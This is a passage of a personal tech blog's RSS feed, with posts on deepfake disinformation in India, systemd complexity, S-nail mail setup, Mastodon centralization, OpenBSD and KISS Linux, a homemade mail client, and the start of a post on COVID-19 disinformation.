pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>The efficacy of deepfakes</title><description><![CDATA[<p>A few days back, NPR put out an article discussing why deepfakes aren’t
15all that powerful in spreading disinformation.
16<a href="https://www.npr.org/2020/05/07/851689645/why-fake-video-audio-may-not-be-as-powerful-in-spreading-disinformation-as-feare">Link to article</a>.</p>
17
18<p>According to the article:</p>
19
20<blockquote>
21 <p>“We’ve already passed the stage at which they would have been most
22 effective,” said Keir Giles, a Russia specialist with the Conflict
23 Studies Research Centre in the United Kingdom. “They’re the dog that
24 never barked.”</p>
25</blockquote>
26
27<p>I agree. This might be the case when it comes to Russian influence.
28There are simpler, more cost-effective ways to conduct <a href="https://en.wikipedia.org/wiki/Active_measures">active
29measures</a>, like memes.
30Besides, America already has the infrastructure in place to combat
31influence ops, and have been doing so for a while now. </p>
32
33<p>However, there are certain demographics whose governments may not have
34the capability to identify and perform damage control when
35a disinformation campaign hits, let alone deepfakes. An example of this
36demographic: India.</p>
37
38<h2 id="the-indian-landscape">the Indian landscape</h2>
39
40<p>The disinformation problem in India is way more sophisticated, and
41harder to combat than in the West. There are a couple of reasons for
42this:</p>
43
44<ul>
45<li>The infrastructure for fake news already exists: WhatsApp</li>
46<li>Fact checking media in 22 different languages is non-trivial</li>
47</ul>
48
49<p>India has had a long-standing problem with misinformation. The 2019
50elections, the recent CAA controversy and even more recently—the
51coronavirus. In some cases, it has even lead to
52<a href="https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india">mob violence</a>.</p>
53
54<p>All of this shows that the populace is easily influenced, and deepfakes
55are only going to simplify this. What’s worse is explaining to a rural
56crowd that something like a deepfake can exist—comprehension and
57adoption of technology has always been slow in India, and can be
58attributed to socio-economic factors. </p>
59
60<p>There also exists a majority of the population that’s already been
61influenced to a certain degree: the right wing. A deepfake of a Muslim
62leader trashing Hinduism will be eaten up instantly. They are inclined
63to believe it is true, by virtue of prior influence and given the
64present circumstances.</p>
65
66<h2 id="countering-deepfakes">countering deepfakes</h2>
67
68<p>The thing about deepfakes is the tech to spot them already exists. In
69fact, some can even be eyeballed. Deepfake imagery tends to have weird
70artifacting, which can be noticed upon closer inspection. Deepfake
71videos, of people specifically, blink / move weirdly. The problem at
72hand, however, is the general public cannot be expected to notice these
73at a quick glance, and the task of proving a fake is left to researchers
74and fact checkers.</p>
75
76<p>Further, India does not have the infrastructure to combat deepfakes at
77scale. By the time a research group / think tank catches wind of it, the
78damage is likely already done. Besides, disseminating contradictory
79information, i.e. “this video is fake”, is also a task of its own.
80Public opinion has already been swayed, and the brain dislikes
81contradictions.</p>
82
83<h2 id="why-havent-we-seen-it-yet">why haven’t we seen it yet?</h2>
84
85<p>Creating a deepfake isn’t trivial. Rather, creating a <em>convincing</em> one
86isn’t. I would also assume that most political propaganda outlets are
87just large social media operations. They lack the technical prowess and
88/ or the funding to produce a deepfake. This doesn’t mean they can’t
89ever. </p>
90
91<p>It goes without saying, but this post isn’t specific to India. I’d say
92other countries with a similar socio-economic status are in a similar
93predicament. Don’t write off deepfakes as a non-issue just because
94America did.</p>
95]]></description><link>https://icyphox.sh/blog/efficacy-deepfakes</link><pubDate>Mon, 11 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/efficacy-deepfakes</guid></item><item><title>Simplicity (mostly) guarantees security</title><description><![CDATA[<p>Although it is a very comfy one, it’s not just an aesthetic. Simplicity
96and minimalism, in technology, is great for security too. I say “mostly”
97in the title because human error cannot be discounted, and nothing is
98perfect. However, the simpler your tech stack is, it is inherentely more
99secure than complex monstrosities.</p>
100
101<p>Let’s look at systemd, for example. It’s got over 1.2 million
102lines of code. “Hurr durr but LoC doesn’t mean anything!” Sure ok, but
103can you <em>imagine</em> auditing this? How many times has it even been
104audited? I couldn’t find any audit reports. No, the developers are not
105security engineers and a trustworthy audit must be done by
106a third-party. What’s scarier, is this thing runs on a huge percentage
107of the world’s critical infrastructure and contains privileged core
108subsystems. </p>
109
110<p>“B-but Linux is much bigger!” Indeed, it is, but it has a thousand times
111(if not more) the number of eyes looking at the code, and there have been
112multiple third-party audits. There are hundreds of independent orgs and
113multiple security teams looking at it. That’s not the case with
114systemd—it’s probably just RedHat.</p>
115
116<p>Compare this to a bunch of shell scripts. Agreed, writing safe shell can
117be hard and there are a ton of weird edge-cases depending on your shell
118implementation, but the distinction here is <em>you</em> wrote it. Which means,
119you can identify what went wrong—things are predictable.
120systemd, however, is a large blackbox, and its state at runtime is largely
121unprovable and unpredictable. I am certain even the developers don’t
122know.</p>
123
124<p>And this is why I whine about complexity so much. A complex,
125unpredictable system is nothing more than a large attack surface. Drew
126DeVault, head of <a href="https://sourcehut.org">sourcehut</a> wrote something
127similar (yes that’s the link, yes it has a typo).: </p>
128
129<p><a href="https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/">https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/</a></p>
130
131<p>He manually provisions all
132sourcehut infrastructure, because tools like Salt, Kubernetes etc. are
133just like systemd in our example—large monstrosities which can get you
134RCE’d. Don’t believe me? See
135<a href="https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/">this</a>.</p>
136
137<p><em>This was day 3 of the #100DaysToOffload challenge. It came out like
138a systemd-hate post, but really, I couldn’t think of a better example.</em></p>
139]]></description><link>https://icyphox.sh/blog/simplicity-security</link><pubDate>Thu, 07 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/simplicity-security</guid></item><item><title>The S-nail mail client</title><description><![CDATA[<p>TL;DR: Here’s my <a href="https://github.com/icyphox/dotfiles/blob/master/home/.mailrc"><code>.mailrc</code></a>.</p>
140
141<p>As I’d mentioned in my blog post about <a href="/blog/mael">mael</a>, I’ve been on
142the lookout for a good, usable mail client. As it happens, I found
143S-nail just as I was about to give up on mael. Turns out writing an MUA
144isn’t all too easy after all. S-nail turned out to be the perfect client
145for me, but I had to invest quite some time in reading the <a href="https://www.sdaoden.eu/code-nail.html">very
146thorough manual</a> and exchanging
147emails with its <a href="https://www.sdaoden.eu">very friendly author</a>. I did it
148so you don’t have to<sup class="footnote-ref" id="fnref-read-man"><a href="#fn-read-man">1</a></sup>, and I present to you
149this guide.</p>
150
151<h2 id="basic-settings">basic settings</h2>
152
153<p>These settings below should guarantee some sane defaults to get started
154with. Comments added for context.</p>
155
156<pre><code># enable upward compatibility with S-nail v15.0
157set v15-compat
158
159# charsets we send mail in
160set sendcharsets=utf-8,iso-8859-1
161
162# reply back in sender's charset
163set reply-in-same-charset
164
165# prevent stripping of full names in replies
166set fullnames
167
168# adds a 'Mail-Followup-To' header; useful in mailing lists
169set followup-to followup-to-honour-ask-yes
170
171# asks for an attachment after composing
172set askattach
173
174# marks a replied message as answered
175set markanswered
176
177# honors the 'Reply-To' header
178set reply-to-honour
179
180# automatically launches the editor while composing mail interactively
181set editalong
182
183# I didn't fully understand this :)
184set history-gabby=all
185
186# command history storage
187set history-file=~/.s-nailhist
188
189# sort mail by date (try 'thread' for threaded view)
190set autosort=date
191</code></pre>
192
193<h2 id="authentication">authentication</h2>
194
195<p>With these out of the way, we can move on to configuring our
196account—authenticating IMAP and SMTP. Before that, however, we’ll
197have to create a <code>~/.netrc</code> file to store our account credentials. </p>
198
199<p>(This of course, assumes that your SMTP and IMAP credentials are the
200same. I don’t know what to do otherwise. )</p>
201
202<pre><code>machine *.domain.tld login user@domain.tld password hunter2
203</code></pre>
204
205<p>Once done, encrypt this file using <code>gpg</code> / <code>gpg2</code>. This is optional, but
206recommended.</p>
207
208<pre><code>$ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc
209</code></pre>
210
211<p>You can now delete the plaintext <code>.netrc</code> file. Now add these lines to
212your <code>.mailrc</code>:</p>
213
214<pre><code>set netrc-lookup
215set netrc-pipe='gpg2 -qd ~/.netrc.gpg'
216</code></pre>
217
218<p>Before we define our account block, add these two lines for a nicer IMAP
219experience:</p>
220
221<pre><code>set imap-cache=~/.cache/nail
222set imap-keepalive=240
223</code></pre>
224
225<p>Defining an account is dead simple. </p>
226
227<pre><code>account "personal" {
228 localopts yes
229 set from="Your Name <user@domain.tld>"
230 set folder=imaps://imap.domain.tld:993
231
232 # copy sent messages to Sent; '+' indicates subdir of 'folder'
233 set record=+Sent
234 set inbox=+INBOX
235
236 # optionally, set this to 'smtps' and change the port accordingly
237 # remove 'smtp-use-starttls'
238 set mta=smtp://smtp.domain.tld:587 smtp-use-starttls
239
240 # couple of shortcuts to useful folders
241 shortcut sent +Sent \
242 inbox +INBOX \
243 drafts +Drafts \
244 trash +Trash \
245 archives +Archives
246}
247
248# enable account on startup
249account personal
250</code></pre>
251
252<p>You might also want to trash mail, instead of perma-deleting them
253(<code>delete</code> does that). To achieve this, we define an alias:</p>
254
255<pre><code>define trash {
256 move "$@" +Trash
257}
258
259commandalias del call trash
260</code></pre>
261
262<p>Replace <code>+Trash</code> with the relative path to your trash folder.</p>
263
264<h2 id="aesthetics">aesthetics</h2>
265
266<p>The fun stuff. I don’t feel like explaining what these do (hint: I don’t
267fully understand it either), so just copy-paste it and mess around with
268the colors:</p>
269
270<pre><code># use whatever symbol you fancy
271set prompt='> '
272
273colour 256 sum-dotmark ft=bold,fg=13 dot
274colour 256 sum-header fg=007 older
275colour 256 sum-header bg=008 dot
276colour 256 sum-header fg=white
277colour 256 sum-thread bg=008 dot
278colour 256 sum-thread fg=cyan
279</code></pre>
280
281<p>The prompt can be configured more extensively, but I don’t need it. Read
282the man page if you do.</p>
283
284<h2 id="essential-commands">essential commands</h2>
285
286<p>Eh, you can just read the man page, I guess. But here’s a quick list off
287the top of my head:</p>
288
289<ul>
290<li><code>headers</code>: Lists all messages, with the date, subject etc.</li>
291<li><code>mail</code>: Compose mail.</li>
292<li><code><number></code>: Read mail by specifiying its number on the message list.</li>
293<li><code>delete <number></code>: Delete mail.</li>
294<li><code>new <number></code>: Mark as new (unread).</li>
295<li><code>file <shortcut or path to folder></code>: Change folders. For example: <code>file
296sent</code></li>
297</ul>
298
299<p>That’s all there is to it.</p>
300
301<p><em>This is day 2 of the #100DaysToOffload challenge. I didn’t think I’d
302participate, until today. So yesterday’s post is day 1. Will I keep at
303it? I dunno. We’ll see.</em></p>
304
305<div class="footnotes">
306<hr />
307<ol>
308<li id="fn-read-man">
309<p>Honestly, read the man page (and email Steffen!)—there’s
310a ton of useful options in there. <a href="#fnref-read-man" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
311</li>
312</ol>
313</div>
314]]></description><link>https://icyphox.sh/blog/s-nail</link><pubDate>Wed, 06 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/s-nail</guid></item><item><title>Stop joining mastodon.social</title><description><![CDATA[<p>No, really. Do you actually understand why the Mastodon network exists,
315and what it stands for, or are you just LARPing? If you’re going to just
316cross-post from Twitter, why are you even on Mastodon?</p>
317
318<p>Okay, so Mastodon is a “federated network”. What does that mean? You
319have a bunch of instances, each having their own userbase, and each
320instance <em>federates</em> with other instances, forming a distributed
321network. Got that? Cool. Now let’s get to the problem with
322mastodon.social.</p>
323
324<p>mastodon.social is the instance run by the lead developer. Why does
325everybody flock to it? I’m really not sure, but if I were to hazard
326a guess, I’d say it’s because people don’t really understand federation.
327“Oh, big instance? I should probably join that.” Herd mentality?
328I dunno.</p>
329
330<p>And what happens when every damn user joins just one instance? It becomes
331more Twitter, that’s what. The federation is gone. Nearly all activity
332is generated from just one instance. Here are some numbers:</p>
333
334<ul>
335<li>Total number of users on Mastodon: ~2.2 million.</li>
336<li>Number of users on mastodon.social: 529923</li>
337</ul>
338
339<p>Surprisingly, there’s an instance even bigger than
340mastodon.social—pawoo.net. I have no idea why it’s so big and it’s
341primarily Japanese. Its user count is over 620k. So mastodon.social and
342pawoo.net put together form over 1 million users, that’s <em>more than</em> 50%
343of the entire Mastodon populace. That’s nuts.<sup class="footnote-ref" id="fnref-federation-fallacy"><a href="#fn-federation-fallacy">1</a></sup></p>
344
345<p>And you’re only enabling this centralization by joining mastodon.social! Really, what
346even <em>is there</em> on mastodon.social? Have you even seen its local
347timeline? Probably not. Join an instance with more flavor. Are you into,
348say, the BSDs? Join bsd.network. Free software? fosstodon.org. Or host
349your own for yourself and your friends. </p>
350
351<p>If you really do care about decentralization and freedom, and aren’t
352just memeing to look cool on Twitter, then move your account to another
353instance.<sup class="footnote-ref" id="fnref-move-account"><a href="#fn-move-account">2</a></sup></p>
354
355<div class="footnotes">
356<hr />
357<ol>
358<li id="fn-federation-fallacy">
359<p><a href="https://rosenzweig.io/blog/the-federation-fallacy.html">https://rosenzweig.io/blog/the-federation-fallacy.html</a> <a href="#fnref-federation-fallacy" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
360</li>
361
362<li id="fn-move-account">
363<p>Go to <code>/settings/migration</code> from your instance’s web
364page. <a href="#fnref-move-account" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
365</li>
366</ol>
367</div>
368]]></description><link>https://icyphox.sh/blog/mastodon-social</link><pubDate>Tue, 05 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mastodon-social</guid></item><item><title>OpenBSD on the HP Envy 13</title><description><![CDATA[<p>My existing KISS install broke because I thought it would be a great
369idea to have <a href="https://github.com/alpinelinux/apk-tools">apk-tools</a>
370alongside the <code>kiss</code> package manager. It’s safe to say, that did not end
371well—especially when I installed, and then removed a package. With
372a semi-broken install that I didn’t feel like fixing, I figured I’d give
373OpenBSD a try. And I did.</p>
374
375<h2 id="installation-and-setup">installation and setup</h2>
376
377<p>Ran into some trouble booting off the USB initially, turned out to be
378a faulty stick. Those things aren’t built to last, sadly. Flashed a new
379stick, booted up. Setup was pleasant, very straightforward. Didn’t
380really have to intervene much.</p>
381
382<p>After booting in, I was greeted with a very archaic looking FVWM
383desktop. It’s not the prettiest thing, and especially annoying to work
384with when you don’t have your mouse setup, i.e. no tap-to-click. </p>
385
386<p>I needed wireless, and my laptop doesn’t have an Ethernet port. USB
387tethering just works, but the connection kept dying. I’m not sure why.
388Instead, I downloaded the <a href="http://man.openbsd.org/iwm.4">iwm(4)</a>
389firmware from <a href="http://firmware.openbsd.org/firmware/6.6/">here</a>, loaded
390it up on a USB stick and copied it over to <code>/etc/firmware</code>. After that,
391it was as simple as running
392<a href="http://man.openbsd.org/fw_update.1">fw_update(1)</a>
393and the firmware is auto-detected and loaded. In fact, if you have working
394Internet, <code>fw_update</code> will download the required firmware for you, too.</p>
395
396<p>Configuring wireless is painless and I’m so glad to see that there’s no
397<code>wpa_supplicant</code> horror to deal with. It’s as simple as:</p>
398
399<pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK
400</code></pre>
401
402<p>Also see <a href="http://man.openbsd.org/hostname.if.5">hostname.if(5)</a> to make
403this persist. After that, it’s only a matter of specifying your desired
404SSID, and <code>ifconfig</code> will automatically auth and procure an IP lease.</p>
405
406<pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID
407</code></pre>
408
409<p>By now I was really starting to get exasperated by FVWM, and decided to
410switch to something nicer. I tried building 2bwm (my previous WM), but
411that failed. I didn’t bother trying to figure this out, so I figured I’d
412give <a href="http://man.openbsd.org/cwm.1">cwm(1)</a> a shot. Afterall, people
413sing high praises of it.</p>
414
415<p>And boy, is it good. The config is a breeze, and actually pretty
416powerful. <a href="https://github.com/icyphox/dotfiles/blob/master/home/.cwmrc">Here’s mine</a>.
417cwm also has a built-in launcher, so dmenu isn’t necessary anymore.
418Refer to <a href="https://man.openbsd.org/cwmrc.5">cwmrc(5)</a> for all the config
419options.</p>
420
421<p>Touchpad was pretty simple to setup too—OpenBSD has
422<a href="http://man.openbsd.org/wsconsctl.8">wsconsctl(8)</a>, which lets you set
423your tap-to-click, mouse acceleration etc. However, more advanced
424configuration can be achieved by getting Xorg to use the Synaptics
425driver. Just add a <code>70-synaptics.conf</code> to <code>/etc/X11/xorg.conf.d</code> (make
426the dir if it doesn’t exist), containing:</p>
427
428<pre><code>Section "InputClass"
429 Identifier "touchpad catchall"
430 Driver "synaptics"
431 MatchIsTouchpad "on"
432 Option "TapButton1" "1"
433 Option "TapButton2" "3"
434 Option "TapButton3" "2"
435 Option "VertEdgeScroll" "on"
436 Option "VertTwoFingerScroll" "on"
437 Option "HorizEdgeScroll" "on"
438 Option "HorizTwoFingerScroll" "on"
439 Option "VertScrollDelta" "111"
440 Option "HorizScrollDelta" "111"
441EndSection
442</code></pre>
443
444<p>There are a lot more options that can be configured, see
445<a href="http://man.openbsd.org/synaptics.4">synaptics(4)</a>.</p>
446
447<p>Suspend and hibernate just work, thanks to
448<a href="http://man.openbsd.org/apm.8">apm(8)</a>. Suspend on lid-close just needs
449one <code>sysctl</code> tweak:</p>
450
451<pre><code>$ sysctl machdep.lidaction=1
452</code></pre>
453
454<p>I believe it’s set to 1 by default on some installs, but I’m not sure.</p>
455
456<h2 id="impressions">impressions</h2>
457
458<p>I already really like the philosophy of OpenBSD—security and
459simplicity, while not losing out on sanity. The default install is
460plentiful, and has just about everything you’d need to get going.
461I especially enjoy how everything just works! I was pleasantly surprised
462to see my brightness and volume keys work without any configuration!
463It’s clear that the devs
464actually dogfood OpenBSD, unlike uh, <em>cough</em> Free- <em>cough</em>. Gosh I hope
465it’s not <em>the</em> flu. :^)</p>
466
467<p>Oh and did you notice all the manpage links I’ve littered throughout
468this post? They have manpages for <em>everything</em>; it’s ridiculous. And
469they’re very thorough. Arch Wiki is good, but it’s incorrect at times,
470or simply outdated. OpenBSD’s manpages, although catering only to
471OpenBSD have never failed me. </p>
472
473<p>Performance and battery life are fine. Battery is in fact, identical, if
474not better than on Linux. OpenBSD disables HyperThreading/SMT for
475security reasons, but you can manually enable it if you wish to do so:</p>
476
477<pre><code>$ sysctl hw.smt=1
478</code></pre>
479
480<p>Package management is probably the only place where OpenBSD falls short.
481<a href="http://man.openbsd.org/pkg_add.1">pkg_add(1)</a> isn’t particularly fast,
482considering it’s written in Perl. The ports selection is fine, I have
483yet to find something that I need not on there. I also wish they
484debloated packages; maybe I’ve just been spoilt by KISS. I now have
485D-Bus on my system thanks to Firefox. :(</p>
486
487<p>I appreciate the fact that they don’t have a political document—a Code
488of Conduct. CoCs are awful, and have only proven to be harmful for
489projects; part of the reason why I’m sick of Linux and its community.
490Oh wait, OpenBSD does have one: <a href="https://www.openbsd.org/mail.html">https://www.openbsd.org/mail.html</a>
491;)</p>
492
493<p>I’ll be exploring <a href="http://man.openbsd.org/vmd.8">vmd(8)</a> to see if I can
494get a Linux environment going. Perhaps that’ll be my next post, but when
495have I ever delivered?</p>
496
497<p>I’ll close this post off with my new rice, and a sick ASCII art I made.</p>
498
499<pre><code> \.-----./
500 / ^ ^ ^ \
501 (o)(o) ^ ^ |_/|
502 {} ^ ^ > ^| \|
503 \^ ^ ^ ^/
504 /-----\
505 ~icy
506</code></pre>
507
508<p><img src="https://x.icyphox.sh/zDYdj.png" alt="openbsd rice" /></p>
509]]></description><link>https://icyphox.sh/blog/openbsd-hp-envy</link><pubDate>Fri, 17 Apr 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/openbsd-hp-envy</guid></item><item><title>The Zen of KISS Linux</title><description><![CDATA[<p><a href="/blog/five-days-tty">I installed KISS</a> early in January on my main
510machine—an HP Envy 13 (2017), and I have since noticed a lot of changes
511in my workflow, my approach to software (and its development), and in
512life as a whole. I wouldn’t call KISS “life changing”, as that would be
513overly dramatic, but it has definitely reshaped my outlook towards
514technology—for better or worse.</p>
515
516<p>When I talk about KISS to people—online or IRL—I get some pretty
517interesting reactions and comments.<sup class="footnote-ref" id="fnref-bringing-up-kiss"><a href="#fn-bringing-up-kiss">1</a></sup>
518Ranging from “Oh cool.” to “You must be
519retarded.”, I’ve heard it all. A classic and a personal favourite of
520mine, “I don’t use meme distros because I actually get work done.” It is
521actually, quite the opposite—I’ve been so much more productive using
522KISS than any other operating system. I’ll explain why shortly.</p>
523
524<p>The beauty of this “distro”, is it isn’t much of a distribution at all.
525There is no big team, no mailing lists, no infrastructure. The entire
526setup is so loose, and this makes it very convenient to swap things out
527for alternatives. The main (and potentially community) repos all reside
528locally on your system. In the event that Dylan decides to call it
529quits and switches to Windows, we can simply just bump versions
530ourselves, locally! The <a href="https://k1ss.org/guidestones">KISS Guidestones</a>
531document is a good read.</p>
532
533<p>In the subseqent paragraphs, I’ve laid out the different things about
534KISS that stand out to me, and make using the system a lot more
535enjoyable.</p>
536
537<h2 id="the-package-system">the package system</h2>
538
539<p>Packaging for KISS has been delightful, to say the least. It takes me
540about 2 mins to write and publish a new package. Here’s the <code>radare2</code>
541package, which I maintain, for example.</p>
542
543<p>The <code>build</code> file (executable):</p>
544
545<div class="codehilite"><pre><span></span><code><span class="ch">#!/bin/sh -e</span>
546
547./configure <span class="se">\</span>
548 --prefix<span class="o">=</span>/usr
549
550make
551make <span class="nv">DESTDIR</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> install
552</code></pre></div>
553
554<p>The <code>version</code> file:</p>
555
556<pre><code>4.3.1 1
557</code></pre>
558
559<p>The <code>checksums</code> file (generated using <code>kiss checksum radare2</code>):</p>
560
561<pre><code>4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa 4.3.1.tar.gz
562</code></pre>
563
564<p>And finally, the <code>sources</code> file:</p>
565
566<pre><code>https://github.com/radareorg/radare2/archive/4.3.1.tar.gz
567</code></pre>
568
569<p>This is literally the bare minimum that you need to define a package.
570There’s also the <code>depends</code> file where you specify the dependencies for
571your package.
572<code>kiss</code> also generates a <code>manifests</code> file to track all the files and
573directories that your package creates during installation, for their
574removal, if and when that occurs. Now compare this process with any
575other distribution’s.</p>
576
577<h2 id="the-community">the community</h2>
578
579<p>As far as I know, it mostly consists of the <code>#kisslinux</code> channel on
580Freenode and the <a href="https://old.reddit.com/r/kisslinux">r/kisslinux</a>
581subreddit. It’s not that big, but it’s suprisingly active, and super
582helpful. There have been some interested new KISS-related projects
583too: <a href="https://github.com/sdsddsd1/kiss-games">kiss-games</a>—a repository
584for, well, Linux games; <a href="https://github.com/jedavies-dev/kiss-ppc64le">kiss-ppc64le</a>
585and <a href="https://github.com/jedavies-dev/kiss-aarch64">kiss-aarch64</a>—KISS
586Linux ports for PowerPC and ARM64 architectures;
587<a href="https://github.com/wyvertux/wyvertux">wyvertux</a>—an attempt at
588a GNU-free Linux distribution, using KISS as a base; and tons more.</p>
589
590<h2 id="the-philosophy">the philosophy</h2>
591
592<p>Software today is far too complex. And its complexity is only growing.
593Some might argue that this is inevitable, and it is in fact progress.
594I disagree. Blindly adding layers and layers of abstraction (Docker,
595modern web “apps") isn’t progress. Look at the Linux desktop ecosystem
596today, for example—monstrosities like GNOME and KDE are a result of
597this…new wave software engineering.</p>
598
599<p>I see KISS as a symbol of defiance against this malformed notion. You
600don’t <em>need</em> all the bloat these DEs ship with to have a usable system.
601Agreed, it’s a bit more effort to get up and running, but it is entirely
602worth it. Think of it as a clean table—feels good to sit down and work on,
603doesn’t it? </p>
604
605<p>Let’s take my own experience, for example. One of the initial few
606software I used to install on a new system was <code>dunst</code>—a notification
607daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo,
608not on KISS. However, using a system without notifications has been very
609pleasant. Nothing to distract you while you’re in the zone.</p>
610
611<p>Another instance, again involving D-Bus (or not), is Bluetooth audio. As
612it happens, my laptop’s 3.5mm jack is rekt, and I need to use Bluetooth
613for audio, if at all. Sadly, Bluetooth audio on Linux hard-depends on
614D-Bus. Bluetooth stacks that don’t rely on D-Bus do exist, like on Android,
615but porting them over to desktop is non-trivial. However, I used this to
616my advantage and decided not to consume media on my laptop. This has
617drastically boosted my productivity, since I literally cannot watch
618YouTube even if I wanted to. My laptop is now strictly work-only.
619If I do need to watch the occasional video / listen to music, I use my
620phone. Compartmentalizing work and play to separate devices has worked
621out pretty well for me.</p>
622
623<p>I’m slowly noticing myself favor low-tech (or no-tech) solutions to
624simple problems too. Like notetaking—I’ve tried plaintext files, Vim
625Wiki, Markdown, but nothing beats actually using pen and paper. Tech,
626from what I can see, doesn’t solve problems very effectively. In some
627cases, it only causes more of them. I might write another post
628discussing my thoughts on this in further detail. </p>
629
630<p>I’m not sure what I intended this post to be, but I’m pretty happy with
631the mindspill. To conclude this already long monologue, let me clarify
632one little thing y’all are probably thinking, “Okay man, are you
633suggesting that we regress to the Dark Ages?”. No, I’m not suggesting
634that we regress, but rather, progress mindfully.</p>
635
636<div class="footnotes">
637<hr />
638<ol>
639<li id="fn-bringing-up-kiss">
640<p>No, I don’t go “I use KISS btw”. I don’t bring it
641up unless provoked. <a href="#fnref-bringing-up-kiss" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
642</li>
643</ol>
644</div>
645]]></description><link>https://icyphox.sh/blog/kiss-zen</link><pubDate>Fri, 03 Apr 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/kiss-zen</guid></item><item><title>Introducing mael</title><description><![CDATA[<p><strong>Update</strong>: The code lives here: <a href="https://github.com/icyphox/mael">https://github.com/icyphox/mael</a></p>
646
647<p>I’ve been on the lookout for a good terminal-based email client since
648forever, and I’ve tried almost all of them. The one I use right now
649sucks a little less—<a href="https://git.sr.ht/~sircmpwn/aerc">aerc</a>. I have
650some gripes with it though, like the problem with outgoing emails not
651getting copied to the Sent folder, and instead erroring out with
652a cryptic <code>EOF</code>—that’s literally all it says.
653I’ve tried mutt, but I find it a little excessive. It feels like the
654weechat of email—to many features that you’ll probably never use.</p>
655
656<p>I need something clean and simple, less bloated (for the lack of
657a better term). This is what motivated me to try writing my own. The
658result of this (and not to mention, being holed up at home with nothing
659better to do), is <strong>mael</strong>.<sup class="footnote-ref" id="fnref-oss"><a href="#fn-oss">1</a></sup></p>
660
661<p>mael isn’t like your usual TUI clients. I envision this to turn out
662similar to mailx—a prompt-based UI. The reason behind this UX decision
663is simple: it’s easier for me to write. :)</p>
664
665<p>Speaking of writing it, it’s being written in a mix of Python and bash.
666Why? Because Python’s <code>email</code> and <code>mailbox</code> modules are fantastic, and
667I don’t think I want to parse Maildirs in bash. “But why not pure
668Python?” Well, I’m going to be shelling out a lot (more on this in a bit),
669and writing interactive UIs in bash is a lot more intuitive, thanks to
670some of the nifty features that later versions of bash have—<code>read</code>,
671<code>mapfile</code> etc.</p>
672
673<p>The reason I’m shelling out is because two key components to this
674client, that I haven’t yet talked about—<code>mbsync</code> and <code>msmtp</code> are in
675use, for IMAP and SMTP respectively. And <code>mbsync</code> uses the Maildir
676format, which is why I’m relying on Python’s <code>mailbox</code> package. Why is
677this in the standard library anyway?!</p>
678
679<p>The architecture of the client is pretty interesting (and possibly very
680stupid), but here’s what happens:</p>
681
682<ul>
683<li>UI and prompt stuff in bash</li>
684<li>emails are read using <code>less</code></li>
685<li>email templates (RFC 2822) are parsed and generated in Python</li>
686<li>this is sent to bash in STDOUT, like</li>
687</ul>
688
689<div class="codehilite"><pre><span></span><code><span class="nv">msg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>./mael-parser <span class="s2">"</span><span class="nv">$maildir_message_path</span><span class="s2">"</span><span class="k">)</span><span class="s2">"</span>
690</code></pre></div>
691
692<p>These kind of one-way (bash -> Python) calls are what drive the entire
693process. I’m not sure what to think of it. Perhaps I might just give up
694and write the entire thing in Python.
695Or…I might just scrap this entirely and just shut up and use aerc.
696I don’t know yet. The code does seem to be growing in size rapidly. It’s
697about ~350 LOC in two days of writing (Python + bash). New problems
698arise every now and then and it’s pretty hard to keep track of all of
699this. It’ll be cool when it’s all done though (I think).</p>
700
701<p>If only things just worked.</p>
702
703<div class="footnotes">
704<hr />
705<ol>
706<li id="fn-oss">
707<p>I have yet to open source it; this post will be updated with
708a link to it when I do. <a href="#fnref-oss" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
709</li>
710</ol>
711</div>
712]]></description><link>https://icyphox.sh/blog/mael</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mael</guid></item><item><title>COVID-19 disinformation</title><description><![CDATA[<p>The virus spreads around the world, along with a bunch of disinformation
713and potential malware / phishing campaigns. There are many actors,
714pushing many narratives—some similar, some different. </p>
715
716<p>Interestingly, the three big players in the information warfare
717space—Russia, Iran and China seem to be running similar stories on
718their state-backed media outlets. While they all tend to lean towards
719the same, fairly anti-U.S. sentiments—that is, blaming the US for
720weaponizing the crisis for political gain—Iran and Russia’s content
721come off as more…conspiratorial.
722In essence, they claim that the COVID-19 virus is a “bioweapon”
723developed by the U.S.</p>
724
725<p>Russian news agency
726<a href="https://twitter.com/RT_com/status/1233187558793924608">RT tweeted</a>:</p>
727
728<blockquote>
729 <p>Show of hands, who isn’t going to be surprised if it ever gets
730 revealed that #coronavirus is a bioweapon?</p>
731</blockquote>
732
733<p>RT also published
734<a href="https://www.rt.com/usa/481485-coronavirus-russia-state-department/">an article</a>
735mocking the U.S. for concerns over Russian disinformation.
736Another article by RT,
